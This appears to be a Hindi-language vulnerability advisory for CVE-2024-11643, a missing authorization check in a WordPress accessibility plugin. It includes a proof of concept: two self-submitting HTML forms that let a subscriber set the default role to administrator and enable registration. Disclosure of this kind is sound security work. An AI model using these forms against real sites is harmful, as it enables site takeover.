CVE-2024-11643

Accessibility by AllAccessible <= 1.3.4 - प्रमाणित सब्सक्राइबर+ के लिए प्राधिकरण की कमी के कारण मनमाना विकल्प अपडेट

विवरण

WordPress के लिए Accessibility by AllAccessible प्लगइन में, संस्करण 1.3.4 तक (और इसमें शामिल), 'AllAccessible_save_settings' फ़ंक्शन पर क्षमता जाँच की कमी के कारण डेटा में अनधिकृत संशोधन संभव है, जो विशेषाधिकार वृद्धि का कारण बन सकता है। इससे प्रमाणित हमलावर, सब्सक्राइबर-स्तरीय पहुँच और उससे ऊपर, WordPress साइट पर मनमाने विकल्प अपडेट कर सकते हैं। इसका उपयोग पंजीकरण के लिए डिफ़ॉल्ट भूमिका को व्यवस्थापक में अपडेट करने और उपयोगकर्ता पंजीकरण सक्षम करने के लिए किया जा सकता है, ताकि हमलावर कमजोर साइट पर व्यवस्थापक उपयोगकर्ता पहुँच प्राप्त कर सकें।

विवरण

प्रकार: plugin
प्रभावित संस्करण: 1.3.4
CVSS स्कोर: 8.8
CVSS रेटिंग: उच्च
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-11643
स्थिति: सक्रिय

POC

एक सब्सक्राइबर के रूप में लॉगिन करें, फिर इस फॉर्म का उपयोग करके डिफ़ॉल्ट भूमिका को व्यवस्थापक बनाएं, और फिर दूसरे फॉर्म का उपयोग करके उपयोगकर्ताओं को पंजीकरण की अनुमति दें।

डिफ़ॉल्ट भूमिका व्यवस्थापक

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="default&#95;role" />
      <input type="hidden" name="opt&#95;value" value="administrator" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

उपयोगकर्ता पंजीकरण कर सकते हैं

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="AllAccessible&#95;save&#95;settings" />
      <input type="hidden" name="opt&#95;name" value="users&#95;can&#95;register" />
      <input type="hidden" name="opt&#95;value" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CVE-2024-11643

सबसे लोकप्रिय

CVE-2024-11643

विवरण

विवरण

POC

डिफ़ॉल्ट भूमिका व्यवस्थापक

उपयोगकर्ता पंजीकरण कर सकते हैं